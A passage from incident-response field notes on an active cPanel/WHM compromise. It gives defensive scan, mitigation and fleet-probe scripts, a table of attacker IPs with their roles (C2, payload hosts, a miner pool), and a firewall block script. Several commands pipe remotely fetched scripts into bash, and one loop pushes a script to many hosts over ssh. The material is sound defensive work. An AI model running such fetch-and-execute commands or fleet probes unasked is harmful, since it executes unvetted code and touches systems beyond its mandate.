  • Pre-positioning the on-host IOC scanner allowed retrospective triage of hosts that had been touched before the WAF rules were live. Detect-then-mitigate is realistic; detect-only is not.
  • Treating the reseller persistence and the API token as a separate cleanup step (not part of the cPanel patch) caught operators who tried to come back through the token after the patch landed.

Didn't

  • CSF, APF, and standard host firewalls are not enough. Pattern X traffic looks like legitimate authenticated WHM; it goes to :2087, it carries an Authorization header, and it's structurally valid HTTPS. A perimeter firewall will not block it.
  • WHM-port-open hosts without an upstream WAF were the population that fell. The right posture is WAF inside the auth boundary, not just at the edge.
  • Vendor IOC scripts shipped with at least one grep -P regex bug that produced silent false negatives. Don't trust an IOC script you haven't read.

Actionable: Validate, Defend, Block#

Three scripts cover the operational picture, each with a distinct role. Pick by what you need to answer:

sessionscribe-ioc-scan.sh: validate host state

Read-only by design. Sectioned report on stderr by default; structured JSON, JSONL stream, or single-row CSV available. Exit code is the highest-priority verdict observed (0 clean, 1 vulnerable, 2 inconclusive, 3 suspicious, 4 compromised).

bash
# 1) on-host triage (sectioned report on stderr)
curl -s https://sh.rfxn.com/sessionscribe-ioc-scan.sh | bash

# 2) JSON envelope to file + JSONL stream for aggregation
bash sessionscribe-ioc-scan.sh -o /root/scan.json --jsonl --quiet > host.jsonl

# 3) tighten log/heuristic window for fast retriage (90 days)
bash sessionscribe-ioc-scan.sh --since 90 --verbose

# 4) single-row CSV summary (fleet-rollup friendly)
bash sessionscribe-ioc-scan.sh --csv > host.csv

sessionscribe-mitigate.sh: validate & enforce defensive posture

Idempotent. Writes timestamped backups of every mutated file under /var/cpanel/sessionscribe-mitigation/<TS>/. Default mode is --check (posture audit, no mutations); --apply mutates. Phases: snapshot, patch posture, preflight, upcp (if unpatched), proxysub enforcement, CSF scrub, APF scrub, runfw inspection, Apache check, modsec rules, session quarantine, optional remote-probe self-test.

bash
# 1) read-only posture audit (no mutations)
curl -s https://sh.rfxn.com/sessionscribe-mitigate.sh | bash

# 2) full apply (run as root; ModSec rules + CSF/APF cpsrvd-port scrub +
#    proxysub enforcement + session quarantine into backup dir)
curl -s https://sh.rfxn.com/sessionscribe-mitigate.sh | bash -s -- --apply

# 3) selective phases (e.g. modsec only, no firewall mutations)
bash sessionscribe-mitigate.sh --apply --only modsec

# 4) JSONL output for fleet aggregation (Ansible/Salt/SSH-wrap)
bash sessionscribe-mitigate.sh --apply --jsonl --quiet > host.jsonl

# 5) revoke any sptadm reseller and the WHM_FullRoot API token
#    (mitigate.sh does not touch reseller state; do this manually)
whmapi1 listacct | grep -i sptadm
whmapi1 delacct user=sptadm
whmapi1 list_tokens | grep -i 'WHM_FullRoot\|not-applicable'
whmapi1 revoke_api_token token_name=<token>

sessionscribe-remote-probe.sh: fleet-level scan

Non-destructive remote verdict over the network. Sends a canary-tagged probe request and reads HTTP response codes plus a single redirect to determine SAFE vs VULNERABLE without actually exploiting. Pair with xargs -P or your fleet runner of choice for parallel sweeps. The canary attribute on the resulting session file is recognized by ioc-scan's PROBE_ARTIFACT bucket, so a probe sweep does not self-trigger compromise alerts on the targets.

bash
# 1) probe a single host (non-destructive verdict by HTTP code)
curl -s https://sh.rfxn.com/sessionscribe-remote-probe.sh | bash -s -- --target host.example.com

# 2) parallel fleet sweep, JSONL out (16 concurrent probes)
xargs -a fleet.txt -P 16 -I {} \
  bash sessionscribe-remote-probe.sh --target {} --jsonl --quiet \
  >> fleet-probe.jsonl

# 3) verdict summary (after sweep)
jq -r '[.host, .verdict] | @tsv' fleet-probe.jsonl | sort -u | column -t

# 4) targets that came back VULNERABLE; pipe into per-host triage
jq -r 'select(.verdict=="VULNERABLE") | .host' fleet-probe.jsonl \
  | while read h; do
      ssh "$h" 'bash -s' < sessionscribe-ioc-scan.sh \
        --jsonl --quiet > "${h}.jsonl"
    done

Tier-1 attacker IPs (block today)

KB-known plus access-log 2xx success against the fleet. Both signals are observed at the IP level and are independent of host-verdict logic, so they survive any verdict-precision change in the scanner. Roles below are observed behavior in this corpus; treat as defensible attribution buckets, not named-actor attribution.

IPObserved roleUA
80.75.212.14broad-scope exploitation; highest 2xx success volume in corpus
94.231.206.39TLS handshake to :2095, badpass exploit (KB-known)
142.93.43.26badpass exploit at scale
45.82.78.104TLS handshake to :2082, websocket Shell pivot (KB-known)Chrome 135 / Opera 120 / Firefox 142
206.189.2.13leakix scanner badpass (KB-known)leakix/2.0
157.245.204.205leakix scanner badpass (KB-known)leakix/2.0
136.244.66.225session-origin pool, 2xx success
68.233.238.100badpass exploit (KB-known)python-requests/2.33.1
159.223.155.255post-CVE 2xx wave (DigitalOcean cluster)
137.184.77.0badpass exploit (KB-known)
38.146.25.154Pattern D createacct source; Operator AGo-http-client/1.1
67.205.134.215post-CVE 2xx wave (DigitalOcean cluster)
206.189.227.202post-CVE 2xx wave (DigitalOcean cluster)
192.81.219.190Pattern D enum + websocket Shell; Operator A (24x80)
146.19.24.235badpass exploit, recurring origin
149.102.229.144websocket Shell pivot; Operator B (24x120)Mozilla/5.0 Firefox/142.0
183.82.160.147websocket Shell pivot; Operator C (24x134); recurs across the windowMozilla/5.0
87.121.84.78Pattern C nuclear.x86 binary host
68.183.190.253Pattern A .sorry encryptor C2
96.30.39.236claimed source-IP in Pattern D createacct API call body (attacker-controlled field; useful for log join, not necessarily real origin); KB-known
45.92.1.188Pattern J operator: drops udev/systemd-unit init-facility persistence with out-of-band payload binary fetch
87.121.84.243Pattern C nuclear.x86 binary host (sibling to .78; observed 2026-05-03)
67.205.166.246post-CVE 2xx wave (DigitalOcean cluster); 2026-05-03 cloudvpstemplate badpass
64.91.249.4Pattern I (PERS-ProfileD) candidate; flagged outside the original GR cohort, 2026-05-04
192.63.172.156pre-disclosure cpsess GET as root on web04.guestreservations.com (2026-03-10)
5.230.165.16quickfix17 prior-run badpass exploit
5.252.177.207quickfix17 prior-run badpass exploit
89.34.18.59host.coprimemain.com unclassified ransom report (2026-04-30)
147.182.224.216atdu perl-bot loader (DigitalOcean); 8 exacthosting hosts in active fleet sweep
45.140.17.40codeItems3 PHP cron-bot C2; per-host API token header
45.140.17.23codeItems3 sibling C2 (same /24, same actor)
157.245.235.139xminstall xmrig loader (DigitalOcean)
57.129.119.218xmrig pool / relay (port 80); active ESTAB observed
209.14.84.37novel implant C2 on host.snap-itservices.com (port 1220, non-standard)
bash
# Tier-1 IC-5790 attacker IPs. Run as root; auto-routes to whichever
# host firewall is present (csf preferred, apf next, iptables fallback).

IPS=(
  80.75.212.14    94.231.206.39    142.93.43.26     45.82.78.104
  206.189.2.13    157.245.204.205  136.244.66.225   68.233.238.100
  159.223.155.255 137.184.77.0     38.146.25.154    67.205.134.215
  206.189.227.202 192.81.219.190   146.19.24.235    149.102.229.144
  183.82.160.147  87.121.84.78     68.183.190.253   96.30.39.236
  45.92.1.188     87.121.84.243    67.205.166.246   64.91.249.4
  192.63.172.156  5.230.165.16     5.252.177.207    89.34.18.59
  147.182.224.216 45.140.17.40     45.140.17.23     157.245.235.139
  57.129.119.218  209.14.84.37
)
COMMENT="IC-5790-T1"

if command -v csf >/dev/null 2>&1; then
  for ip in "${IPS[@]}"; do csf -d "$ip" "$COMMENT"; done
elif command -v apf >/dev/null 2>&1; then
  for ip in "${IPS[@]}"; do apf -d "$ip" "$COMMENT"; done
else
  # No csf/apf; raw iptables fallback. Drops + persists via your distro's
  # iptables-save tooling (iptables-services, netfilter-persistent, etc.)
  for ip in "${IPS[@]}"; do
    iptables  -I INPUT -s "$ip" -j DROP -m comment --comment "$COMMENT"
    ip6tables -I INPUT -s "$ip" -j DROP -m comment --comment "$COMMENT" 2>/dev/null || true
  done
fi

Open Questions#

What's Next#

This is an active incident, not a closed one. The journal stays under continuous monitoring on three axes:

  • Pattern surface. Patterns A through L are what we have today; L was added this week. The catalog will grow as new shapes surface. Anything that lands at the destructive terminal stage (new payload variant, new persistence wrapper, new second-stage backdoor) is on the lookout list, with the same single-letter naming carrying forward. We update this page when a new pattern earns its letter; section anchors stay stable so cross-references keep resolving.
  • Sleeper monitoring. The pre-mitigation-window doctrine in the sleeper-attacker section governs every host that scans CLEAN today on a build that was vulnerable before 2026-04-28. We continue to track credential-rotation evidence (SSH key reissue, WHM_FullRoot token revocation, cluster-replication keypair cycling) on those hosts and to watch access-log traffic for the legitimate-looking auth signatures that follow a credentials walk-out. New pre-disclosure outliers go in the Tier-1 IP table as they surface.
  • Verdict-gap monitoring. The 51-host runtime cohort surfaced by the verdict-engine gap walk on 2026-05-05 is a snapshot, not a stable list. We re-run the same hunt against the per-IP latest-envelope set on a rolling basis to track whether the gap shrinks as runtime-track scoring lands, whether new live-malware shapes appear, and whether the hosts that were CLEAN-rated in the snapshot get cleaned up or stay resident. Wallets, C2 IPs, and masquerade procnames accumulate in the pivot-indicator list as we find them.

The next field-notes entry follows when one of the three axes produces something operators can act on: a new pattern letter, a credentials-walk-out signature on a sleeper cohort, or a measurable shift in the verdict-gap population. Corroboration and new evidence welcome via GitHub issues on the source repo.

References#